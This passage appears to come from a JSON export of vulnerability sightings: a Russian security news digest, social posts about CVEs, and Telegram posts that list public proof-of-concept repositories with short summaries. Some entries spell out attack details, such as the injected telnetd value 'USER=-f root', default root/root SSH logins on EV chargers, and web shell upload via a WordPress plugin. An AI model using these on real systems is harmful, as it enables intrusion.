\u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n4. Apple \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 87 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 iOS \u0438 155 \u0432 macOS Tahoe. \u0412 macOS Sequoia 15.7.8 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b 138 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0430 \u0432 macOS Sonoma 14.8.8 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e 127 \u043f\u0440\u043e\u0431\u043b\u0435\u043c.\n\n\u041e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 CVE-2026-43810, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Apple \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u0440\u0435\u0434\u0438\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c \u044f\u0434\u0440\u0430, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044f\u0435\u0442 \u044d\u043a\u043e\u043d\u043e\u043c\u0438\u043a\u0443 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a\n\n5. GitHub \u0438 PyPI \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 Dependabot \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u0430\u0442\u0430\u043a \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438\u0445 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439.\n\n6. \u0412 n8n\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (GHSA-gv7g-jm28-cr3m), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0443 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0443\u044e \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0433\u043b\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0443 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\nSecurity Joes \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0437\u0443\u0447\u0430\u044f \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 n8n \u043d\u0430\u00a0\u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 CVE-2026-27577.\n\n7. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 macOS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0437\u0430\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430.\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0430\u0440\u0445\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u041f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f. Apple \u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0435 \u0441\u043e\u0447\u043b\u0430 \u0435\u0451 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n8. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c ERPNext, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \u042d\u0442\u043e \u043e\u0434\u043d\u0430 \u0438\u0437 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0438\u043c\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435.\n\n9. CVE-2026-9039 \u0432 \u0437\u0430\u0440\u044f\u0434\u043d\u044b\u0445 \u0441\u0442\u0430\u043d\u0446\u0438\u044f\u0445 XCharge EV \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Sailflow, \u043f\u0440\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f \u043a \u0440\u0430\u0437\u044a\u0435\u043c\u0443 \u043d\u0430 \u0437\u0430\u0440\u044f\u0434\u043d\u043e\u0439 \u0441\u0442\u0430\u043d\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 SSH-\u0441\u0435\u0440\u0432\u0438\u0441.\n\nSSH-\u0441\u0435\u0440\u0432\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e root/root. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0445 \u043f\u043e\u0434\u0437\u0430\u0440\u044f\u0434\u043e\u043a, \u043d\u0430\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0443\u0449\u0435\u0440\u0431\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u0432 \u0441\u0435\u0442\u044c \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430.\n\n10. CSRF-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0430\u0433\u0435\u043d\u0442\u0430\u0445 Workspace \u043e\u0442 OpenAI \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0446\u0435\u043b\u044b\u0439 (\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439) \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0436\u0438\u0442\u044c \u0432 \u0432\u0430\u0448\u0435\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435.", "creation_timestamp": "2026-07-29T01:00:04.209621Z"}, {"uuid": "84077859-7c14-450c-bb80-63d23fba11e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrqz4ck3kp2j", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-29T03:44:09.143254Z"}, {"uuid": "b45452a9-c945-4317-aa6e-711517f8c534", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrs2n5le622e", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-29T13:44:08.113038Z"}, {"uuid": "3c3994f7-926e-470e-a88b-00ac7d6e4882", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27960", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mrsdquhplq2g", "content": "CVE-2026-27960 OpenCTI is an open source platform for managing cyber threat intelligence knowledge and observables. In versions 6.6.0 through 6.9.12, there is a privilege escalation\u2026 \nhttps://\ncve.org/CVERecord?id=C\nVE-2026-27\u2026\n\n\u2014 from @HackingLZ (https://x.com/HackingLZ/status/2082498716070469923)", "creation_timestamp": "2026-07-29T16:27:20.579917Z"}, {"uuid": "9854bd65-b0b7-4b31-9d46-4b28210f5dda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrt45ztkvc2h", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-29T23:44:07.752332Z"}, {"uuid": "49af5183-d5de-401d-8145-0c3a2559dac0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27831", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17045", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today)\nBelow are several recent CVE vulnerabilities with publicly available PoC repositories useful for security research and vulnerability analysis.\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Remote Authentication Bypass\n\n\ud83d\udd17 PoC\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in GNU inetutils telnetd allows attackers to bypass authentication.\nBy sending a crafted USER environment variable (-f root) through the NEW_ENVIRON telnet option, attackers can obtain a root shell without credentials.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns Heap Out-of-Bounds Read (DoS)\n\n\ud83d\udd17 PoC\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA heap-based out-of-bounds read vulnerability in rldns DNS server version 1.3 can trigger a crash and denial-of-service condition.\nThe flaw occurs during DNS request processing and may lead to memory access violations.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory safety issue\n\n3\ufe0f\u20e3 CVE-2026-22444\n\ud83c\udfaf Apache Solr RCE / NTLM Hash Disclosure\n\n\ud83d\udd17 PoC\nhttps://github.com/dptsec/CVE-2026-22444\n\n\ud83e\udde0 Overview\nA vulnerability in Apache Solr (8.6 \u2013 9.10.0) allows attackers to trigger remote command execution or expose NTLM hashes in certain Windows standalone deployments.\nPublic PoC scripts demonstrate exploitation scenarios.\n\n\u2699\ufe0f Impact\n\u2022 Remote Code Execution\n\u2022 NTLM hash leakage\n\u2022 Server compromise\n\n4\ufe0f\u20e3 CVE-2026-21509\n\ud83c\udfaf Microsoft Office Security Feature Bypass\n\n\ud83d\udd17 PoC\nhttps://github.com/gavz/CVE-2026-21509-PoC\n\n\ud83e\udde0 Overview\nA research PoC demonstrates how specially crafted DOCX files with embedded OLE artifacts can bypass certain security protections in Microsoft Office environments.\nThe PoC is designed primarily for EDR / AV detection testing in isolated labs.\n\n\u2699\ufe0f Impact\n\u2022 Security feature bypass\n\u2022 Potential malware delivery vector\n\n5\ufe0f\u20e3 CVE-2026-29000\n\ud83c\udfaf pac4j-jwt Authentication Bypass (CVSS 10)\n\n\ud83e\udde0 Overview\nA critical vulnerability in the pac4j-jwt authentication library allows attackers to forge JWT tokens using only the public key.\nThis enables attackers to authenticate as any user, including administrators, without knowing a secret.\n\n\u2699\ufe0f Impact\n\u2022 Complete authentication bypass\n\u2022 Account takeover\n\u2022 CVSS 10.0 Critical\n\n\ud83d\udcda Research Value\nThese PoC repositories can be used for:\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch diff analysis\n\u2022 Red team / blue team training\n\u2022 Secure coding research\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:07.387979Z"}, {"uuid": "adfd6fb8-b780-422b-b9d6-a75ebe491720", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27831", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17049", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today)\nBelow are several recent CVE vulnerabilities with publicly available PoC repositories useful for vulnerability research and security analysis.\n\n1\ufe0f\u20e3 CVE-2026-1357\n\ud83c\udfaf WordPress WPvivid Backup & Migration \u2013 Unauthenticated RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/LucasM0ntes/POC-CVE-2026-1357\n\n\ud83e\udde0 Overview\nA critical vulnerability in the WPvivid Backup & Migration plugin allows attackers to upload arbitrary files and achieve remote code execution without authentication.\nThe vulnerability chains two issues:\n\u2022 Crypto fail-open behavior\n\u2022 Path traversal vulnerability\nAttackers can upload a PHP web shell and execute arbitrary commands on the server.\n\n\u2699\ufe0f Impact\n\u2022 Remote Code Execution\n\u2022 Server compromise\n\u2022 Full WordPress takeover\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server \u2013 Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA vulnerability in rldns DNS server version 1.3 allows attackers to trigger a heap-based out-of-bounds read, leading to a denial-of-service condition.\nThis occurs during DNS request handling and can crash the server.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory safety vulnerability\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 PoC / Research\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability affecting BeyondTrust Remote Support / Privileged Remote Access allows attackers to execute commands via a WebSocket-reachable script.\nThe issue stems from unsafe Bash arithmetic evaluation inside the application logic.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Privileged access compromise\n\u2022 Enterprise remote-access platform risk\n\n4\ufe0f\u20e3 CVE-2026-25049\n\ud83c\udfaf n8n Workflow Automation \u2013 Git Node RCE\n\n\ud83d\udd17 Technical Write-up\nhttps://gist.github.com/alon710/f3522fe1631994e1a76ab218a2b4d685\n\n\ud83e\udde0 Overview\nA remote code execution vulnerability exists in the n8n Git node where malicious Git configuration values can trigger command execution.\nThe vulnerability occurs because untrusted data is interpreted as executable commands.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Workflow automation compromise\n\u2022 CVSS 9.4\n\n5\ufe0f\u20e3 CVE-2026-0590\n\ud83c\udfaf Online Product Reservation System \u2013 SQL Injection\n\n\ud83d\udd17 PoC Reference\nhttps://github.com/foeCat/CVE/blob/main/OnlineProductReservation_PHP/sqli_checkout_delete.php.md\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability exists in Online Product Reservation System 1.0 in the delete.php endpoint.\nManipulation of the POST parameter ID allows attackers to execute arbitrary SQL queries remotely.\n\n\u2699\ufe0f Impact\n\u2022 Database access\n\u2022 Data leakage\n\u2022 Potential system compromise\n\n\ud83d\udcda Research Value\nThese PoC repositories are useful for:\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch diff analysis\n\u2022 Red team training\n\u2022 Security tool testing\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:07.692561Z"}, {"uuid": "bd5ed001-a4f0-4655-ac32-d71d08e71392", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27831", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17051", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today)\nBelow are several recent vulnerabilities with publicly available PoC repositories on GitHub that are useful for vulnerability research and exploit analysis.\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Authentication Bypass \u2192 Root Access\n\n\ud83d\udd17 PoC\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in GNU inetutils telnetd allows attackers to bypass authentication and obtain a root shell.\nThe exploit abuses the NEW_ENVIRON telnet option and injects a crafted environment variable (USER=-f root) that results in authentication bypass.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA heap-based out-of-bounds read vulnerability in rldns version 1.3 can be triggered during DNS request handling, leading to memory access violations and denial-of-service.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory safety vulnerability\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 PoC\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability in BeyondTrust Remote Support / Privileged Remote Access allows remote attackers to execute commands due to unsafe Bash arithmetic evaluation in a WebSocket-reachable script.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Enterprise remote-access compromise\n\u2022 Privileged system access\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-55315\n\ud83c\udfaf ASP.NET Core Kestrel \u2013 HTTP Request Smuggling\n\n\ud83d\udd17 PoC\nhttps://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit\n\n\ud83e\udde0 Overview\nA critical HTTP request smuggling vulnerability in ASP.NET Core Kestrel allows attackers to bypass authentication, steal session tokens, and perform SSRF attacks.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Session hijacking\n\u2022 Remote code execution scenarios\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-66478\n\ud83c\udfaf Next.js Server Actions \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC\nhttps://github.com/namest504/CVE-2025-66478-Exploit-Poc\n\n\ud83e\udde0 Overview\nAn RCE vulnerability in Next.js Server Actions caused by insecure deserialization and prototype pollution through the proto property in the RSC Flight protocol.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese PoC repositories are useful for:\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch diff analysis\n\u2022 Red team / blue team training\n\u2022 Security tool testing\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:07.884209Z"}, {"uuid": "8c17a775-18fc-45c4-af09-8082b5b1a940", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka 